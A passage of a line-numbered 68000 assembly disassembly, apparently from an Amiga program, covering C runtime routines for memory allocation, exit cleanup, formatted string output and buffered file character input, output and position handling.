  3955.     MOVE    2(A2),D4        ;249A: 382A0002
  3956.     ANDI    #$7FFF,D4        ;249E: 02447FFF
  3957.     LSL.L    #2,D4            ;24A2: E58C
  3958.     CMP.L    D4,D0            ;24A4: B084
  3959.     BLE.S    LAB_0229        ;24A6: 6F1A
  3960. LAB_0227:
  3961.     CLR.L    D4            ;24A8: 4284
  3962.     MOVE    2(A2),D4        ;24AA: 382A0002
  3963.     BMI.S    LAB_0228        ;24AE: 6B08
  3964.     LSL.L    #2,D4            ;24B0: E58C
  3965.     LEA    4(A2,D4.L),A2        ;24B2: 45F24804
  3966.     BRA.S    LAB_0226        ;24B6: 60DC
  3967. LAB_0228:
  3968.     MOVE.L    0(A1),D3        ;24B8: 26290000
  3969.     BEQ.S    LAB_022E        ;24BC: 6766
  3970.     MOVEA.L    D3,A1            ;24BE: 2243
  3971.     BRA.S    LAB_0225        ;24C0: 60BE
  3972. LAB_0229:
  3973.     BSET    #7,0(A2)        ;24C2: 08EA00070000
  3974.     LEA    4(A2,D0.L),A3        ;24C8: 47F20804
  3975.     CLR.L    D5            ;24CC: 4285
  3976.     CMP.L    D4,D0            ;24CE: B084
  3977.     BEQ.S    LAB_022C        ;24D0: 673C
  3978.     MOVE.L    D4,D6            ;24D2: 2C04
  3979.     SUB.L    D0,D6            ;24D4: 9C80
  3980.     SUBQ.L    #4,D6            ;24D6: 5986
  3981.     BNE.S    LAB_022A        ;24D8: 6604
  3982.     MOVE.L    D4,D0            ;24DA: 2004
  3983.     BRA.S    LAB_022C        ;24DC: 6030
  3984. LAB_022A:
  3985.     LSR.L    #2,D6            ;24DE: E48E
  3986.     TST    2(A2)            ;24E0: 4A6A0002
  3987.     BPL.S    LAB_022B        ;24E4: 6A04
  3988.     ORI    #$8000,D6        ;24E6: 00468000
  3989. LAB_022B:
  3990.     MOVE.L    D0,D5            ;24EA: 2A00
  3991.     LSR.L    #2,D5            ;24EC: E48D
  3992.     MOVE    D6,2(A3)        ;24EE: 37460002
  3993.     MOVE    D5,0(A3)        ;24F2: 37450000
  3994.     MOVE    D5,2(A2)        ;24F6: 35450002
  3995.     MOVEQ    #4,D5            ;24FA: 7A04
  3996.     TST    D6            ;24FC: 4A46
  3997.     BMI.S    LAB_022C        ;24FE: 6B0E
  3998.     MOVE    4(A2,D4.L),D2        ;2500: 34324804
  3999.     ANDI    #$8000,D2        ;2504: 02428000
  4000.     OR    D2,D6            ;2508: 8C42
  4001.     MOVE    D6,4(A2,D4.L)        ;250A: 35864804
  4002. LAB_022C:
  4003.     MOVE.L    8(A1),D3        ;250E: 26290008
  4004.     SUB.L    D0,D3            ;2512: 9680
  4005.     SUB.L    D5,D3            ;2514: 9685
  4006.     MOVE.L    D3,8(A1)        ;2516: 23430008
  4007.     MOVE.L    A2,D0            ;251A: 200A
  4008.     ADDQ.L    #4,D0            ;251C: 5880
  4009. LAB_022D:
  4010.     MOVEM.L    (A7)+,D2-D6/A2-A3/A6    ;251E: 4CDF4C7C
  4011.     RTS                ;2522: 4E75
  4012. LAB_022E:
  4013.     MOVE.L    D0,D5            ;2524: 2A00
  4014.     CMP.L    4(A4),D0        ;2526: B0AC0004
  4015.     BPL.S    LAB_022F        ;252A: 6A04
  4016.     MOVE.L    4(A4),D0        ;252C: 202C0004
  4017. LAB_022F:
  4018.     MOVE.L    D0,D4            ;2530: 2800
  4019.     ADDI.L    #$00000014,D0        ;2532: 068000000014
  4020.     MOVE.L    17340(A4),D1        ;2538: 222C43BC
  4021.     BSR    LAB_031A        ;253C: 61001126
  4022.     JSR    -198(A6)        ;2540: 4EAEFF3A
  4023.     TST.L    D0            ;2544: 4A80
  4024.     BNE.S    LAB_0230        ;2546: 660A
  4025.     MOVE.L    #$0000000C,17332(A4)    ;2548: 297C0000000C43B4
  4026.     BRA.S    LAB_022D        ;2550: 60CC
  4027. LAB_0230:
  4028.     MOVEA.L    D0,A1            ;2552: 2240
  4029.     LEA    16(A1),A2        ;2554: 45E90010
  4030.     MOVE.L    17336(A4),0(A1)        ;2558: 236C43B80000
  4031.     MOVE.L    A1,17336(A4)        ;255E: 294943B8
  4032.     MOVE.L    D4,4(A1)        ;2562: 23440004
  4033.     MOVE.L    17340(A4),12(A1)    ;2566: 236C43BC000C
  4034.     MOVE.L    D4,D3            ;256C: 2604
  4035.     SUB.L    D5,D3            ;256E: 9685
  4036.     BEQ.S    LAB_0231        ;2570: 6728
  4037.     SUBQ.L    #4,D3            ;2572: 5983
  4038.     BEQ.S    LAB_0231        ;2574: 6724
  4039.     MOVE.L    D3,8(A1)        ;2576: 23430008
  4040.     LEA    4(A2,D5.L),A3        ;257A: 47F25804
  4041.     MOVE    #$8000,0(A2)        ;257E: 357C80000000
  4042.     LSR.L    #2,D5            ;2584: E48D
  4043.     MOVE    D5,2(A2)        ;2586: 35450002
  4044.     MOVE    D5,0(A3)        ;258A: 37450000
  4045.     LSR.L    #2,D3            ;258E: E48B
  4046.     ORI    #$8000,D3        ;2590: 00438000
  4047.     MOVE    D3,2(A3)        ;2594: 37430002
  4048.     BRA.S    LAB_0232        ;2598: 6014
  4049. LAB_0231:
  4050.     CLR.L    8(A1)            ;259A: 42A90008
  4051.     MOVE    #$8000,0(A2)        ;259E: 357C80000000
  4052.     LSR.L    #2,D4            ;25A4: E48C
  4053.     ORI    #$8000,D4        ;25A6: 00448000
  4054.     MOVE    D4,2(A2)        ;25AA: 35440002
  4055. LAB_0232:
  4056.     MOVE.L    A2,D0            ;25AE: 200A
  4057.     ADDQ.L    #4,D0            ;25B0: 5880
  4058.     MOVEM.L    (A7)+,D2-D6/A2-A3/A6    ;25B2: 4CDF4C7C
  4059.     RTS                ;25B6: 4E75
  4060.     MOVE.L    4(A7),D0        ;25B8: 202F0004
  4061. LAB_0233:
  4062.     MOVEM.L    D7/A5,-(A7)        ;25BC: 48E70104
  4063.     MOVE.L    D0,D7            ;25C0: 2E00
  4064.     MOVEA.L    516(A4),A5        ;25C2: 2A6C0204
  4065.     BRA.S    LAB_0235        ;25C6: 6008
  4066. LAB_0234:
  4067.     MOVEA.L    4(A5),A0        ;25C8: 206D0004
  4068.     JSR    (A0)            ;25CC: 4E90
  4069.     MOVEA.L    (A5),A5            ;25CE: 2A55
  4070. LAB_0235:
  4071.     MOVE.L    A5,D0            ;25D0: 200D
  4072.     BNE.S    LAB_0234        ;25D2: 66F4
  4073.     LEA    316(A4),A5        ;25D4: 4BEC013C
  4074. LAB_0236:
  4075.     MOVEQ    #6,D0            ;25D8: 7006
  4076.     AND.L    24(A5),D0        ;25DA: C0AD0018
  4077.     SUBQ.L    #2,D0            ;25DE: 5580
  4078.     BNE.S    LAB_0237        ;25E0: 6618
  4079.     MOVE.L    4(A5),D0        ;25E2: 202D0004
  4080.     SUB.L    16(A5),D0        ;25E6: 90AD0010
  4081.     BEQ.S    LAB_0237        ;25EA: 670E
  4082.     MOVE.L    28(A5),D1        ;25EC: 222D001C
  4083.     MOVEA.L    16(A5),A0        ;25F0: 206D0010
  4084.     EXG    D0,D1            ;25F4: C141
  4085.     JSR    LAB_018D(PC)        ;25F6: 4EBAF448
  4086. LAB_0237:
  4087.     MOVEA.L    A5,A0            ;25FA: 204D
  4088.     MOVEA.L    (A0),A5            ;25FC: 2A50
  4089.     MOVE.L    A5,D0            ;25FE: 200D
  4090.     BNE.S    LAB_0236        ;2600: 66D6
  4091.     MOVE.L    D7,D0            ;2602: 2007
  4092.     MOVEM.L    (A7)+,D7/A5        ;2604: 4CDF2080
  4093.     JMP    LAB_01E0(PC)        ;2608: 4EFAFA02
  4094.     MOVE.L    4(A7),D0        ;260C: 202F0004
  4095.     MOVEA.L    8(A7),A0        ;2610: 206F0008
  4096. LAB_0238:
  4097.     LEA    (A0),A1            ;2614: 43D0
  4098.     ADDQ.L    #1,(A1)+        ;2616: 5299
  4099.     MOVEA.L    (A1),A0            ;2618: 2051
  4100.     ADDQ.L    #1,(A1)+        ;261A: 5299
  4101.     MOVE.B    D0,(A0)            ;261C: 1080
  4102.     RTS                ;261E: 4E75
  4103. LAB_0239:
  4104.     SUBQ    #8,A7            ;2620: 514F
  4105.     MOVEA.L    12(A7),A0        ;2622: 206F000C
  4106.     CLR.L    (A7)            ;2626: 4297
  4107.     MOVE.L    A0,4(A7)        ;2628: 2F480004
  4108.     PEA    20(A7)            ;262C: 486F0014
  4109.     MOVE.L    20(A7),-(A7)        ;2630: 2F2F0014
  4110.     LEA    LAB_0238(PC),A0        ;2634: 41FAFFDE
  4111.     LEA    8(A7),A1        ;2638: 43EF0008
  4112.     JSR    LAB_02FF(PC)        ;263C: 4EBA0E26
  4113.     MOVEA.L    12(A7),A0        ;2640: 206F000C
  4114.     CLR.B    (A0)            ;2644: 4210
  4115.     ADDQ    #8,A7            ;2646: 504F
  4116.     MOVE.L    (A7),D0            ;2648: 2017
  4117.     ADDQ    #8,A7            ;264A: 504F
  4118.     RTS                ;264C: 4E75
  4119.     DC.W    $0000            ;264E
  4120. LAB_023A:
  4121.     MOVE.L    A5,-(A7)        ;2650: 2F0D
  4122.     MOVE.L    D0,D1            ;2652: 2200
  4123.     MOVEA.L    A0,A5            ;2654: 2A48
  4124.     LEA    (A5),A1            ;2656: 43D5
  4125.     ADDQ.L    #1,(A1)+        ;2658: 5299
  4126.     MOVE.L    (A1),D0            ;265A: 2011
  4127.     ADDQ.L    #1,(A1)            ;265C: 5291
  4128.     MOVE.B    D1,8(A5,D0.L)        ;265E: 1B810808
  4129.     MOVE.L    (A1)+,D0        ;2662: 2019
  4130.     CMPI.L    #$00000200,D0        ;2664: 0C8000000200
  4131.     BLT.S    LAB_023B        ;266A: 6D12
  4132.     LEA    8(A5),A0        ;266C: 41ED0008
  4133.     LEA    350(A4),A1        ;2670: 43EC015E
  4134.     MOVEQ    #1,D1            ;2674: 7201
  4135.     JSR    LAB_026D(PC)        ;2676: 4EBA03D8
  4136.     CLR.L    4(A5)            ;267A: 42AD0004
  4137. LAB_023B:
  4138.     MOVEA.L    (A7)+,A5        ;267E: 2A5F
  4139.     RTS                ;2680: 4E75
  4140. LAB_023C:
  4141.     SUBA    #$0208,A7        ;2682: 9EFC0208
  4142.     CLR.L    4(A7)            ;2686: 42AF0004
  4143.     CLR.L    (A7)            ;268A: 4297
  4144.     PEA    528(A7)            ;268C: 486F0210
  4145.     MOVE.L    528(A7),-(A7)        ;2690: 2F2F0210
  4146.     LEA    LAB_023A(PC),A0        ;2694: 41FAFFBA
  4147.     LEA    8(A7),A1        ;2698: 43EF0008
  4148.     JSR    LAB_02FF(PC)        ;269C: 4EBA0DC6
  4149.     ADDQ    #8,A7            ;26A0: 504F
  4150.     MOVE.L    4(A7),D0        ;26A2: 202F0004
  4151.     BEQ.S    LAB_023D        ;26A6: 6710
  4152.     LEA    8(A7),A0        ;26A8: 41EF0008
  4153.     LEA    350(A4),A1        ;26AC: 43EC015E
  4154.     MOVEQ    #1,D1            ;26B0: 7201
  4155.     EXG    D0,D1            ;26B2: C141
  4156.     JSR    LAB_026D(PC)        ;26B4: 4EBA039A
  4157. LAB_023D:
  4158.     MOVEQ    #48,D0            ;26B8: 7030
  4159.     AND.L    374(A4),D0        ;26BA: C0AC0176
  4160.     BEQ.S    LAB_023E        ;26BE: 6704
  4161.     MOVEQ    #-1,D0            ;26C0: 70FF
  4162.     BRA.S    LAB_023F        ;26C2: 6002
  4163. LAB_023E:
  4164.     MOVE.L    (A7),D0            ;26C4: 2017
  4165. LAB_023F:
  4166.     ADDA    #$0208,A7        ;26C6: DEFC0208
  4167.     RTS                ;26CA: 4E75
  4168.     MOVE.L    4(A7),D0        ;26CC: 202F0004
  4169.     MOVEA.L    8(A7),A0        ;26D0: 206F0008
  4170. LAB_0240:
  4171.     SUBQ    #4,A7            ;26D4: 594F
  4172.     MOVEM.L    D6-D7/A5,-(A7)        ;26D6: 48E70304
  4173.     MOVE.L    D0,D7            ;26DA: 2E00
  4174.     MOVEA.L    A0,A5            ;26DC: 2A48
  4175.     MOVEQ    #0,D6            ;26DE: 7C00
  4176.     MOVE.B    D0,15(A7)        ;26E0: 1F40000F
  4177.     MOVEQ    #65,D1            ;26E4: 7241
  4178.     ADD.L    D1,D1            ;26E6: D281
  4179.     AND.L    24(A5),D1        ;26E8: C2AD0018
  4180.     BNE.S    LAB_0241        ;26EC: 660C
  4181.     BSET    #5,27(A5)        ;26EE: 08ED0005001B
  4182.     MOVEQ    #-1,D0            ;26F4: 70FF
  4183.     BRA    LAB_024F        ;26F6: 60000140
  4184. LAB_0241:
  4185.     MOVEQ    #51,D0            ;26FA: 7033
  4186.     AND.L    24(A5),D0        ;26FC: C0AD0018
  4187.     SUBQ.L    #2,D0            ;2700: 5580
  4188.     BEQ.S    LAB_0245        ;2702: 6750
  4189.     MOVEQ    #76,D0            ;2704: 704C
  4190.     NOT.B    D0            ;2706: 4600
  4191.     AND.L    24(A5),D0        ;2708: C0AD0018
  4192.     MOVEQ    #64,D1            ;270C: 7240
  4193.     ADD.L    D1,D1            ;270E: D281
  4194.     CMP.L    D1,D0            ;2710: B081
  4195.     BNE.S    LAB_0242        ;2712: 660C
  4196.     BSET    #1,27(A5)        ;2714: 08ED0001001B
  4197.     CLR.L    12(A5)            ;271A: 42AD000C
  4198.     BRA.S    LAB_0245        ;271E: 6034
  4199. LAB_0242:
  4200.     BTST    #5,27(A5)        ;2720: 082D0005001B
  4201.     BEQ.S    LAB_0243        ;2726: 6706
  4202.     MOVEQ    #-1,D0            ;2728: 70FF
  4203.     BRA    LAB_024F        ;272A: 6000010C
  4204. LAB_0243:
  4205.     MOVEQ    #110,D0            ;272E: 706E
  4206.     NOT.B    D0            ;2730: 4600
  4207.     AND.L    24(A5),D0        ;2732: C0AD0018
  4208.     MOVEQ    #110,D1            ;2736: 726E
  4209.     NOT.B    D1            ;2738: 4601
  4210.     CMP.L    D1,D0            ;273A: B081
  4211.     BNE.S    LAB_0244        ;273C: 660C
  4212.     BSET    #1,27(A5)        ;273E: 08ED0001001B
  4213.     CLR.L    12(A5)            ;2744: 42AD000C
  4214.     BRA.S    LAB_0245        ;2748: 600A
  4215. LAB_0244:
  4216.     MOVEQ    #0,D0            ;274A: 7000
  4217.     MOVE.L    D0,12(A5)        ;274C: 2B40000C
  4218.     BRA    LAB_024F        ;2750: 600000E6
  4219. LAB_0245:
  4220.     MOVE.L    12(A5),D0        ;2754: 202D000C
  4221.     CMP.L    20(A5),D0        ;2758: B0AD0014
  4222.     BGE.S    LAB_0247        ;275C: 6C32
  4223.     MOVEA.L    4(A5),A0        ;275E: 206D0004
  4224.     ADDQ.L    #1,4(A5)        ;2762: 52AD0004
  4225.     MOVE.L    D7,D0            ;2766: 2007
  4226.     MOVE.B    D0,(A0)            ;2768: 1080
  4227.     ADDQ.L    #1,12(A5)        ;276A: 52AD000C
  4228.     BTST    #6,27(A5)        ;276E: 082D0006001B
  4229.     BEQ.S    LAB_0246        ;2774: 670E
  4230.     MOVEQ    #10,D1            ;2776: 720A
  4231.     CMP.L    D1,D7            ;2778: BE81
  4232.     BNE.S    LAB_0246        ;277A: 6608
  4233.     MOVEA.L    A5,A0            ;277C: 204D
  4234.     JSR    LAB_028C(PC)        ;277E: 4EBA0574
  4235.     MOVE.L    D0,D6            ;2782: 2C00
  4236. LAB_0246:
  4237.     TST.L    D6            ;2784: 4A86
  4238.     BEQ    LAB_024E        ;2786: 670000AA
  4239.     MOVE.L    D6,D0            ;278A: 2006
  4240.     BRA    LAB_024F        ;278C: 600000AA
  4241. LAB_0247:
  4242.     BTST    #2,27(A5)        ;2790: 082D0002001B
  4243.     BEQ.S    LAB_0249        ;2796: 672E
  4244.     CLR.L    12(A5)            ;2798: 42AD000C
  4245.     MOVE.L    28(A5),D0        ;279C: 202D001C
  4246.     LEA    15(A7),A0        ;27A0: 41EF000F
  4247.     MOVEQ    #1,D1            ;27A4: 7201
  4248.     JSR    LAB_018D(PC)        ;27A6: 4EBAF298
  4249.     MOVE.L    D0,D6            ;27AA: 2C00
  4250.     ADDQ.L    #1,D0            ;27AC: 5280
  4251.     BNE.S    LAB_0248        ;27AE: 6608
  4252.     BSET    #5,27(A5)        ;27B0: 08ED0005001B
  4253.     BRA.S    LAB_024D        ;27B6: 6072
  4254. LAB_0248:
  4255.     MOVE.L    D6,D0            ;27B8: 2006
  4256.     SUBQ.L    #1,D0            ;27BA: 5380
  4257.     BEQ.S    LAB_024D        ;27BC: 676C
  4258.     BSET    #4,27(A5)        ;27BE: 08ED0004001B
  4259.     BRA.S    LAB_024D        ;27C4: 6064
  4260. LAB_0249:
  4261.     TST.L    20(A5)            ;27C6: 4AAD0014
  4262.     BNE.S    LAB_024B        ;27CA: 6620
  4263.     MOVEA.L    A5,A0            ;27CC: 204D
  4264.     JSR    LAB_0176(PC)        ;27CE: 4EBAF05C
  4265.     TST.L    D0            ;27D2: 4A80
  4266.     BEQ.S    LAB_024A        ;27D4: 670A
  4267.     BSET    #5,27(A5)        ;27D6: 08ED0005001B
  4268.     MOVEQ    #-1,D0            ;27DC: 70FF
  4269.     BRA.S    LAB_024F        ;27DE: 6058
  4270. LAB_024A:
  4271.     MOVEQ    #0,D0            ;27E0: 7000
  4272.     MOVE.L    D0,12(A5)        ;27E2: 2B40000C
  4273.     MOVE.L    16(A5),4(A5)        ;27E6: 2B6D00100004
  4274. LAB_024B:
  4275.     MOVE.L    12(A5),D0        ;27EC: 202D000C
  4276.     CMP.L    20(A5),D0        ;27F0: B0AD0014
  4277.     BLT.S    LAB_024C        ;27F4: 6D08
  4278.     MOVEA.L    A5,A0            ;27F6: 204D
  4279.     JSR    LAB_028C(PC)        ;27F8: 4EBA04FA
  4280.     MOVE.L    D0,D6            ;27FC: 2C00
  4281. LAB_024C:
  4282.     BSET    #1,27(A5)        ;27FE: 08ED0001001B
  4283.     MOVEA.L    4(A5),A0        ;2804: 206D0004
  4284.     ADDQ.L    #1,4(A5)        ;2808: 52AD0004
  4285.     MOVE.L    D7,D0            ;280C: 2007
  4286.     MOVE.B    D0,(A0)            ;280E: 1080
  4287.     ADDQ.L    #1,12(A5)        ;2810: 52AD000C
  4288.     BTST    #6,27(A5)        ;2814: 082D0006001B
  4289.     BEQ.S    LAB_024D        ;281A: 670E
  4290.     MOVEQ    #10,D1            ;281C: 720A
  4291.     CMP.L    D1,D7            ;281E: BE81
  4292.     BNE.S    LAB_024D        ;2820: 6608
  4293.     MOVEA.L    A5,A0            ;2822: 204D
  4294.     JSR    LAB_028C(PC)        ;2824: 4EBA04CE
  4295.     MOVE.L    D0,D6            ;2828: 2C00
  4296. LAB_024D:
  4297.     TST.L    D6            ;282A: 4A86
  4298.     BEQ.S    LAB_024E        ;282C: 6704
  4299.     MOVE.L    D6,D0            ;282E: 2006
  4300.     BRA.S    LAB_024F        ;2830: 6006
  4301. LAB_024E:
  4302.     MOVEQ    #0,D1            ;2832: 7200
  4303.     MOVE.B    D7,D1            ;2834: 1207
  4304.     MOVE.L    D1,D0            ;2836: 2001
  4305. LAB_024F:
  4306.     MOVEM.L    (A7)+,D6-D7/A5        ;2838: 4CDF20C0
  4307.     ADDQ    #4,A7            ;283C: 584F
  4308.     RTS                ;283E: 4E75
  4309.     MOVEA.L    4(A7),A0        ;2840: 206F0004
  4310. LAB_0250:
  4311.     SUBQ    #4,A7            ;2844: 594F
  4312.     MOVEM.L    D2/D7/A5,-(A7)        ;2846: 48E72104
  4313.     MOVEA.L    A0,A5            ;284A: 2A48
  4314.     LEA    316(A4),A0        ;284C: 41EC013C
  4315.     CMPA.L    A0,A5            ;2850: BBC8
  4316.     BNE.S    LAB_0254        ;2852: 6644
  4317.     LEA    350(A4),A0        ;2854: 41EC015E
  4318.     JSR    LAB_028C(PC)        ;2858: 4EBA049A
  4319.     BTST    #5,26(A5)        ;285C: 082D000D001A
  4320.     BEQ.S    LAB_0254        ;2862: 6734
  4321.     MOVE.L    28(A5),D0        ;2864: 202D001C
  4322.     LEA    15(A7),A0        ;2868: 41EF000F
  4323.     MOVEQ    #1,D1            ;286C: 7201
  4324.     JSR    LAB_0197(PC)        ;286E: 4EBAF2D0
  4325.     MOVE.L    D0,D7            ;2872: 2E00
  4326.     BLE.S    LAB_0251        ;2874: 6F0A
  4327.     MOVEQ    #0,D7            ;2876: 7E00
  4328.     MOVE.B    15(A7),D7        ;2878: 1E2F000F
  4329.     BRA    LAB_0262        ;287C: 60000128
  4330. LAB_0251:
  4331.     TST.L    D7            ;2880: 4A87
  4332.     BNE.S    LAB_0252        ;2882: 6608
  4333.     BSET    #4,27(A5)        ;2884: 08ED0004001B
  4334.     BRA.S    LAB_0253        ;288A: 6006
  4335. LAB_0252:
  4336.     BSET    #5,27(A5)        ;288C: 08ED0005001B
  4337. LAB_0253:
  4338.     MOVEQ    #-1,D7            ;2892: 7EFF
  4339.     BRA    LAB_0262        ;2894: 60000110
  4340. LAB_0254:
  4341.     SUBQ.L    #1,8(A5)        ;2898: 53AD0008
  4342.     BLT.S    LAB_0255        ;289C: 6D10
  4343.     MOVEA.L    4(A5),A0        ;289E: 206D0004
  4344.     ADDQ.L    #1,4(A5)        ;28A2: 52AD0004
  4345.     MOVEQ    #0,D0            ;28A6: 7000
  4346.     MOVE.B    (A0),D0            ;28A8: 1010
  4347.     BRA    LAB_0263        ;28AA: 600000FC
  4348. LAB_0255:
  4349.     MOVEQ    #51,D7            ;28AE: 7E33
  4350.     AND.L    24(A5),D7        ;28B0: CEAD0018
  4351.     MOVEQ    #1,D0            ;28B4: 7001
  4352.     CMP.L    D0,D7            ;28B6: BE80
  4353.     BEQ.S    LAB_0258        ;28B8: 673A
  4354.     MOVEQ    #92,D1            ;28BA: 725C
  4355.     NOT.B    D1            ;28BC: 4601
  4356.     AND.L    24(A5),D1        ;28BE: C2AD0018
  4357.     MOVEQ    #64,D2            ;28C2: 7440
  4358.     ADD.L    D2,D2            ;28C4: D482
  4359.     CMP.L    D2,D1            ;28C6: B282
  4360.     BNE.S    LAB_0256        ;28C8: 6614
  4361.     BSET    #0,27(A5)        ;28CA: 08ED0000001B
  4362.     BTST    #4,27(A5)        ;28D0: 082D0004001B
  4363.     BEQ.S    LAB_0258        ;28D6: 671C
  4364.     MOVEQ    #-1,D0            ;28D8: 70FF
  4365.     BRA    LAB_0263        ;28DA: 600000CC
  4366. LAB_0256:
  4367.     CLR.L    8(A5)            ;28DE: 42AD0008
  4368.     MOVEQ    #17,D1            ;28E2: 7211
  4369.     CMP.L    D1,D7            ;28E4: BE81
  4370.     BEQ.S    LAB_0257        ;28E6: 6706
  4371.     BSET    #5,27(A5)        ;28E8: 08ED0005001B
  4372. LAB_0257:
  4373.     MOVEQ    #-1,D0            ;28EE: 70FF
  4374.     BRA    LAB_0263        ;28F0: 600000B6
  4375. LAB_0258:
  4376.     BTST    #2,27(A5)        ;28F4: 082D0002001B
  4377.     BEQ.S    LAB_025D        ;28FA: 6746
  4378.     CLR.L    8(A5)            ;28FC: 42AD0008
  4379.     MOVEQ    #0,D7            ;2900: 7E00
  4380.     MOVE.B    32(A5),D7        ;2902: 1E2D0020
  4381.     TST.L    D7            ;2906: 4A87
  4382.     BEQ.S    LAB_0259        ;2908: 6708
  4383.     CLR.B    32(A5)            ;290A: 422D0020
  4384.     BRA    LAB_0262        ;290E: 60000096
  4385. LAB_0259:
  4386.     MOVE.L    28(A5),D0        ;2912: 202D001C
  4387.     LEA    15(A7),A0        ;2916: 41EF000F
  4388.     MOVEQ    #1,D1            ;291A: 7201
  4389.     JSR    LAB_0197(PC)        ;291C: 4EBAF222
  4390.     MOVE.L    D0,D7            ;2920: 2E00
  4391.     BLE.S    LAB_025A        ;2922: 6F08
  4392.     MOVEQ    #0,D7            ;2924: 7E00
  4393.     MOVE.B    15(A7),D7        ;2926: 1E2F000F
  4394.     BRA.S    LAB_0262        ;292A: 607A
  4395. LAB_025A:
  4396.     TST.L    D7            ;292C: 4A87
  4397.     BNE.S    LAB_025B        ;292E: 6608
  4398.     BSET    #4,27(A5)        ;2930: 08ED0004001B
  4399.     BRA.S    LAB_025C        ;2936: 6006
  4400. LAB_025B:
  4401.     BSET    #5,27(A5)        ;2938: 08ED0005001B
  4402. LAB_025C:
  4403.     MOVEQ    #-1,D7            ;293E: 7EFF
  4404.     BRA.S    LAB_0262        ;2940: 6064
  4405. LAB_025D:
  4406.     TST.L    20(A5)            ;2942: 4AAD0014
  4407.     BNE.S    LAB_025E        ;2946: 6614
  4408.     MOVEA.L    A5,A0            ;2948: 204D
  4409.     JSR    LAB_0176(PC)        ;294A: 4EBAEEE0
  4410.     TST.L    D0            ;294E: 4A80
  4411.     BEQ.S    LAB_025E        ;2950: 670A
  4412.     BSET    #5,27(A5)        ;2952: 08ED0005001B
  4413.     MOVEQ    #-1,D0            ;2958: 70FF
  4414.     BRA.S    LAB_0263        ;295A: 604C
  4415. LAB_025E:
  4416.     MOVEA.L    16(A5),A0        ;295C: 206D0010
  4417.     MOVE.L    A0,4(A5)        ;2960: 2B480004
  4418.     MOVE.L    28(A5),D0        ;2964: 202D001C
  4419.     MOVE.L    20(A5),D1        ;2968: 222D0014
  4420.     MOVEA.L    16(A5),A0        ;296C: 206D0010
  4421.     JSR    LAB_0197(PC)        ;2970: 4EBAF1CE
  4422.     MOVE.L    D0,8(A5)        ;2974: 2B400008
  4423.     MOVE.L    D0,D7            ;2978: 2E00
  4424.     BLE.S    LAB_025F        ;297A: 6F12
  4425.     SUBQ.L    #1,8(A5)        ;297C: 53AD0008
  4426.     MOVEA.L    4(A5),A0        ;2980: 206D0004
  4427.     ADDQ.L    #1,4(A5)        ;2984: 52AD0004
  4428.     MOVEQ    #0,D7            ;2988: 7E00
  4429.     MOVE.B    (A0),D7            ;298A: 1E10
  4430.     BRA.S    LAB_0262        ;298C: 6018
  4431. LAB_025F:
  4432.     TST.L    D7            ;298E: 4A87
  4433.     BNE.S    LAB_0260        ;2990: 6608
  4434.     BSET    #4,27(A5)        ;2992: 08ED0004001B
  4435.     BRA.S    LAB_0261        ;2998: 600A
  4436. LAB_0260:
  4437.     BSET    #5,27(A5)        ;299A: 08ED0005001B
  4438.     CLR.L    8(A5)            ;29A0: 42AD0008
  4439. LAB_0261:
  4440.     MOVEQ    #-1,D7            ;29A4: 7EFF
  4441. LAB_0262:
  4442.     MOVE.L    D7,D0            ;29A6: 2007
  4443. LAB_0263:
  4444.     MOVEM.L    (A7)+,D2/D7/A5        ;29A8: 4CDF2084
  4445.     ADDQ    #4,A7            ;29AC: 584F
  4446.     RTS                ;29AE: 4E75
  4447.     MOVEA.L    4(A7),A0        ;29B0: 206F0004
  4448. LAB_0264:
  4449.     MOVEM.L    D5-D7/A3/A5,-(A7)    ;29B4: 48E70714
  4450.     MOVEA.L    A0,A5            ;29B8: 2A48
  4451.     MOVEQ    #0,D7            ;29BA: 7E00
  4452.     MOVE.L    24(A5),D0        ;29BC: 202D0018
  4453.     BNE.S    LAB_0265        ;29C0: 660A
  4454.     MOVEQ    #9,D1            ;29C2: 7209
  4455.     MOVE.L    D1,17332(A4)        ;29C4: 294143B4
  4456.     MOVEQ    #-1,D0            ;29C8: 70FF
  4457.     BRA.S    LAB_026C        ;29CA: 606E
  4458. LAB_0265:
  4459.     MOVE.L    #$00008002,D0        ;29CC: 203C00008002
  4460.     AND.L    24(A5),D0        ;29D2: C0AD0018
  4461.     CMPI.L    #$00008002,D0        ;29D6: 0C8000008002
  4462.     BNE.S    LAB_0266        ;29DC: 6608
  4463.     MOVEA.L    A5,A0            ;29DE: 204D
  4464.     JSR    LAB_028C(PC)        ;29E0: 4EBA0312
  4465.     MOVEQ    #1,D7            ;29E4: 7E01
  4466. LAB_0266:
  4467.     PEA    (1).W            ;29E6: 48780001
  4468.     MOVE.L    28(A5),D0        ;29EA: 202D001C
  4469.     MOVEQ    #0,D1            ;29EE: 7200
  4470.     JSR    LAB_01A4(PC)        ;29F0: 4EBAF248
  4471.     ADDQ    #4,A7            ;29F4: 584F
  4472.     MOVE.L    D0,D6            ;29F6: 2C00
  4473.     TST.B    D7            ;29F8: 4A07
  4474.     BNE.S    LAB_026B        ;29FA: 663C
  4475.     BTST    #7,26(A5)        ;29FC: 082D000F001A
  4476.     BEQ.S    LAB_0269        ;2A02: 6722
  4477.     MOVEA.L    4(A5),A3        ;2A04: 266D0004
  4478.     MOVE.L    8(A5),D5        ;2A08: 2A2D0008
  4479.     BRA.S    LAB_0268        ;2A0C: 6010
  4480. LAB_0267:
  4481.     MOVEQ    #10,D1            ;2A0E: 720A
  4482.     CMP.B    (A3)+,D1        ;2A10: B21B
  4483.     SEQ    D0            ;2A12: 57C0
  4484.     NEG.B    D0            ;2A14: 4400
  4485.     EXT    D0            ;2A16: 4880
  4486.     TST.B    D0            ;2A18: 4A00
  4487.     BEQ.S    LAB_0268        ;2A1A: 6702
  4488.     SUBQ.L    #1,D6            ;2A1C: 5386
  4489. LAB_0268:
  4490.     MOVE.L    D5,D0            ;2A1E: 2005
  4491.     SUBQ.L    #1,D5            ;2A20: 5385
  4492.     TST.L    D0            ;2A22: 4A80
  4493.     BNE.S    LAB_0267        ;2A24: 66E8
  4494. LAB_0269:
  4495.     BTST    #1,27(A5)        ;2A26: 082D0001001B
  4496.     BEQ.S    LAB_026A        ;2A2C: 6706
  4497.     ADD.L    12(A5),D6        ;2A2E: DCAD000C
  4498.     BRA.S    LAB_026B        ;2A32: 6004
  4499. LAB_026A:
  4500.     SUB.L    8(A5),D6        ;2A34: 9CAD0008
  4501. LAB_026B:
  4502.     MOVE.L    D6,D0            ;2A38: 2006
  4503. LAB_026C:
  4504.     MOVEM.L    (A7)+,D5-D7/A3/A5    ;2A3A: 4CDF28E0
  4505.     RTS                ;2A3E: 4E75
